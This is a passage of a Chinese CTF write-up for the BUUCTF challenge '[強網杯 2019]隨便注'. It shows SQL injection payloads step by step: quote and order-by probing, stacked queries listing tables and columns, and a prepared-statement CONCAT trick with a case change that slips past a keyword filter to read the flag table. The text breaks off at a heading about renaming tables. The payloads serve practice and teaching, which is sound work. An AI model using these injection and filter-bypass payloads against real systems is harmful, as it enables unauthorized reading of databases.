1. 程式人生 > 實用技巧 >[強網杯 2019]隨便注

[強網杯 2019]隨便注

這是BUUCTF上刷的第一道題,題目看是SQL注入

1.根據經驗嘗試有無常規注入

1.1 探測有無注入

1’  報錯 
1’# 正常且為True
1’ and 1=1#  正常且為True
1’ and 1=2#  正常且為False

可以判斷出:存在注入且引數使用單引號閉合

原因:當輸入1’時,返回error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,說明原本輸入的引數在SQL檢索語句中使用’ ’,現在輸入的一個單引號閉合了原本搜尋語句中左邊單引號,剩餘多出一個單引號,故報錯

;#符號為註釋符號,註釋掉右單引號,所以即使輸入單引號也不會報錯。

1.2 嘗試獲取列數

1’ order by 1# 
1’ order by 2# 
1’ order by 3# 報錯

order by n,其中n表示第n欄,當表中只有2個欄位時,oder by 3就會出錯,可以依據此方法判斷出表中的列數為2。

1.3嘗試獲取資料庫名,使用者等基本資訊

嘗試union查詢:1' union select null,user() #

頁面過濾了select、update、delete等搜尋詞,使用大小寫、加註釋等方法也無法避開。

2 堆疊注入

堆疊注入嘗試:在sql語句中以;表示一個語句的結束,如果一個sql語句結束後再接著一個sql語句,就會執行這兩條sql語句。

2.1 查詢所有的表

1';show tables;#

得到1919810931114514和words兩張表

2.2 查詢表中的列

1';show columns from `1919810931114514`;show columns from `words`;#

得出1919810931114514表中有一列flag為目標,words表中有兩列id和data

SQL語句中出現反引號``,為了區分MYSQL的保留字與普通字元而引入的符號,資料庫、表、索引、列和別名常用反引號。

2.3 找到flag的幾種方法

2.3.1 使用預處理語句+堆疊注入

預處理流程

# 用於設定變數名和值
SET; # 用於預備一個語句並賦予名稱,以後可以引用該語句 PREPARE stmt_name FROM preparable_stmt; #執行語句 EXECUTE stmt_name; #用來釋放掉預處理的語句 {DEALLOCATE
| DROP} PREPARE stmt_name;

插入payload

-1set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;

得到結果,set和prepare被攔截

但是strstr函式對大小寫敏感,嘗試用大寫繞過,得到最後結果

2.3.2 修改表名